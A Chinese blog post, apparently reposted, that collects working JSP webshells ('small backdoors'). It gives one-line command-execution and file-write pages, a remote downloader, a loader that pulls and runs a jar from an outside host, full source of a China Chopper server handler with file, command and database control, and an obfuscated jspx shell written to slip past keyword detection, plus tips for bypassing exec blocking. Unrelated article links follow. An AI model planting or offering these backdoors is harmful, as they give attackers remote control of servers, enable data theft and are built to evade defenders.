jsp小后门

一：执行系统命令:

无回显执行系统命令：

1	`<%Runtime.getRuntime().exec(request.getParameter("i"));%>`

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b,0,a));

}

out.print("</pre>

");

}

%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1	`<%new` `java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

1	`<%new` `java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

1	`<%new` `java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

1	`<%new` `java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

1	`<%=Class.forName("Load",true,new` `java.net.URLClassLoader(new` `java.net.URL[]{new` `java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,` `new` `Object[]{request.getParameterMap()})%>`

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解：利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。下载：Cat.jar Load代码：

import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map<string,string[]> map){

try {

Map<string,string> request = new HashMap<string,string>();

for (Entry<string, string[]=""> entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet.getValue()[0];

request.put(key, value);

}

return new Chopper().doPost(request);

} catch (IOException ex) {

return ex.toString();

}

}</string,></string,string></string,string></string,string[]>

Chopper代码：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStreamWriter;

import java.lang.reflect.Method;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLClassLoader;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.ResultSet;

import java.sql.ResultSetMetaData;

import java.sql.Statement;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Map;

public class Chopper{

public static String getPassword() throws IOException {

return "023";

}

String cs = "UTF-8";

String encoding(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"), cs);

}

Connection getConnection(String s) throws Exception {

String[] x = s.trim().split("\r\n");

try {

Class.forName(x[0].trim());

} catch (ClassNotFoundException e) {

boolean classNotFound = true;

BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));

String str = "";

while ((str = br.readLine()) != null) {

String[] arr = str.split("=");

if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {

try {

URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();

Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);

m.setAccessible(true);

m.invoke(ucl, new Object[]{new URL(arr[1])});

Class.forName(arr[0].trim());

classNotFound = false;

break;

} catch (ClassNotFoundException ex) {

throw ex;

}

if (classNotFound) {

throw e;

}

if (x[1].contains("jdbc:oracle")) {

return DriverManager.getConnection(x[1].trim() + ":" + x[4],

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

} else {

Connection c = DriverManager.getConnection(x[1].trim(),

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

void listRoots(ByteArrayOutputStream out) throws Exception {

File r[] = File.listRoots();

for (File f : r) {

out.write((f.getName()).getBytes(cs));

}

void dir(String s, ByteArrayOutputStream out) throws Exception {

File l[] = new File(s).listFiles();

for (File f : l) {

String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));

String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");

out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));

}

void deleteFiles(File f) throws Exception {

if (f.isDirectory()) {

File x[] = f.listFiles();

for (File fs : x) {

deleteFiles(fs);

}

f.delete();

}

byte[] readFile(String s) throws Exception {

int n;

byte[] b = new byte[1024];

BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));

ByteArrayOutputStream bos = new ByteArrayOutputStream();

while ((n = bis.read(b)) != -1) {

bos.write(b, 0, n);

}

bis.close();

return bos.toByteArray();

}

void upload(String s, String d) throws Exception {

String h = "0123456789ABCDEF";

File f = new File(s);

f.createNewFile();

FileOutputStream os = new FileOutputStream(f);

for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});

while (r.next()) {

out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));

}

r.close();

c.close();

}

void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {

String[] x = s.trim().split("\r\n");

Connection c = getConnection(s);

ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();

ResultSetMetaData d = r.getMetaData();

for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {

cs = request.get("z0") != null ? request.get("z0") + "" : cs;

ByteArrayOutputStream out = new ByteArrayOutputStream();

try {

char z = (char) request.get(getPassword()).getBytes()[0];

String z1 = encoding(request.get("z1") + "");

String z2 = encoding(request.get("z2") + "");

out.write("->|".getBytes(cs));

String s = new File("").getCanonicalPath();

byte[] returnTrue = "1".getBytes(cs);

switch (z) {

case 'A':

out.write((s + "\t").getBytes(cs));

if (!s.substring(0, 1).equals("/")) {

listRoots(out);

}

break;

case 'B':

dir(z1, out);

break;

case 'C':

String l = "";

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

while ((l = br.readLine()) != null) {

out.write((l + "\r\n").getBytes(cs));

}

br.close();

break;

case 'D':

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

bw.write(z2);

bw.flush();

bw.close();

out.write(returnTrue);

break;

case 'E':

deleteFiles(new File(z1));

out.write("1".getBytes(cs));

break;

case 'F':

out.write(readFile(z1));

case 'G':

upload(z1, z2);

out.write(returnTrue);

break;

case 'H':

filesMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'I':

fileMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'J':

mkdir(new File(z1));

out.write(returnTrue);

break;

case 'K':

setLastModified(new File(z1), z2);

out.write(returnTrue);

break;

case 'L':

downloadRemoteFile(z1, z2);

out.write(returnTrue);

break;

case 'M':

String[] c = {z1.substring(2), z1.substring(0, 2), z2};

Process p = Runtime.getRuntime().exec(c);

inputStreamToOutPutStream(p.getInputStream(), out);

inputStreamToOutPutStream(p.getErrorStream(), out);

break;

case 'N':

getCurrentDB(z1, out);

break;

case 'O':

getTableName(z1, out);

break;

case 'P':

getTableColumn(z1, out);

break;

case 'Q':

executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");

break;

}

} catch (Exception e) {

out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));

}

out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar

com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar

com.microsoft.jdbc.sqlserver.SQLServerDriver=http:

//javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar

com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar

com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar

com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar

com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar

org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar

com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar

com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar

org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar

org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar

net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar

mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">

<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>

<jsp:scriptlet>

Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));

Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")});

java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));

m.setAccessible(true);

java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");

out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");

</jsp:scriptlet>

</jsp:root>

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

Class clazz = Class.forName("java.lang.ProcessImpl");

Constructor constructor = clazz.getDeclaredConstructors()[0];

constructor.setAccessible(true);

Process process = (Process) constructor.newInstance(

toCString(cmdarray[0]), argBlock, args.length,

null, envc[0], null, std_fds, false

);

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。

jsp小后门的更多相关文章

Web前端开发：SQL Jsp小项目（一）
Jsp的学习算是告一段落,针对这段时间的学习,写了一个Jsp小项目来巩固学到的知识. 框架示意图 User list process UserAdd process 需要的界面效果: 需要工具:Ecl ...
JSP文件管理后门工具jsp-file-browser
JSP文件管理后门工具jsp-file-browser 在网页后门中,快速浏览服务器文件非常重要.为此,Kali Linux新增了一款JSP后门工具jsp-file-browser.该工具提供所有 ...
jsp小商城
一个小商城,当然,没淘宝那么厉害,只是那时学完j2ee后,发现java原来也可以做网站,学了数据库,servlet,jsp,当时是很惊喜的,可以直接做个这样的东西.而放到今天,学了更多之后,发现可以用 ...
jsp小测试--猜大小
page1.jpg: <%@ page language="java" import="java.util.*" pageEncoding="g ...
JSP小例子——实现用户登录小例子（不涉及DB操作）
实现用户登录小例子用户名和密码都为"admin",登陆成功使用服务器内部转发到login_success.jsp页面,并且提示登陆成功的用户名.如果登陆失败则请求重定向到login ...
Web前端开发：SQL Jsp小项目（二）------添加修改
沿着昨天整理好的页面,今天实现list页面中的修改, User update框架需要的效果图: 先看用户查询界面, 修改id为4的那个用户: 修改后返回用户查看界面. 1 .先是从list界面开始, ...
JSP小实例--计算器
package cn.com.caculate; import java.math.BigDecimal; public class caculate { private String firstNu ...
无框架JavaWeb简单增删改查,纯 jsp小练习
地址 : 纯本人手码 jsp练习>>>>>
jsp小基础归纳
JSP的本质就是一个Servlet,JSP的运行之前会先被Tomcat服务器翻译为.java文件,然后在将.java文本编译为.class文件,而我们在访问jsp时,处理请求的就是那个翻译后的类. 1 ...

随机推荐

《垃圾回收的算法与实现》——增量式垃圾回收与RC Immix算法
增量式垃圾回收为了控制最大暂停时间,通过逐渐推进垃圾回收即垃圾回收与mutator交替执行. 三色标记算法以标记-清除算法为例使用三色标记算法. 利用降低吞吐量来缩短最大停顿时间. 基础将GC中 ...
jquery插件开发三种方法
1.好像之前看视频记录下来的,不记得了. //类级别插件开发,主要是在jQuery中定义全局方法: //第一种写法 jQuery.myFunc = function(str){ alert(" ...
javaRPC原理
在学校期间大家都写过不少程序,比如写个hello world服务类,然后本地调用下,如下所示.这些程序的特点是服务消费方和服务提供方是本地调用关系. 而一旦踏入公司尤其是大型互联网公司就会发现,公司的 ...
ZOJ 1586 QS Network（Kruskal算法求解MST）
题目: In the planet w-503 of galaxy cgb, there is a kind of intelligent creature named QS. QScommunica ...
Codeforces 960G. Bandit Blues
Description 你需要构造一个长度为 \(n\) 的排列 , 使得一个数作为前缀最大值的次数为 \(A\) , 作为后缀最大值的次数为 \(B\) , 求满足要求的排列个数 . 题面 Solu ...
VM CentOS 问题汇总
1. 锁定文件失败 / 模块启动失败如下图问题: 原因分析: 虚拟机为了防止有多虚拟机共用一个虚拟磁盘(就是后缀为.vmdk那个文件)造成数据的丢失等问题,每次启动虚拟机时会给每个虚拟磁盘加一个磁 ...
[转]一步步学习EF Core(2.事务与日志)
本文转自:http://www.cnblogs.com/GuZhenYin/p/6862505.html 上节我们留了一个问题,为什么EF Core中,我们加载班级,数据并不会出来其实答案很简单,~ ...
FOR XML PATH做为数据表中单列或者多列的字符串拼接的方法，放到一列中去，很好用。
先看看自己弄得例子,SELECT sName+',',hoppy+',' FROM student2 where hoppy='游泳' FOR XML PATH('')--PATH后面跟的是行标题, ...
[日常] mysql的索引使用情况测试
1.索引(Index)是帮助MySQL高效获取数据的数据结构,可以理解为“排好序的快速查找数据结构”,在数据之外,数据库系统还维护着满足特定查找算法的数据结构,这些数据结构以某种方式引用(指向)数据, ...
Oracle安装后遇到错误:The Network Adapter could not establish the connection
http://note.youdao.com/noteshare?id=e6baee7ea7b7f60d7a265124e2bdd46c&sub=988945C6DDE843D5A7D6588 ...

jsp小后门

jsp小后门的更多相关文章

随机推荐

热门专题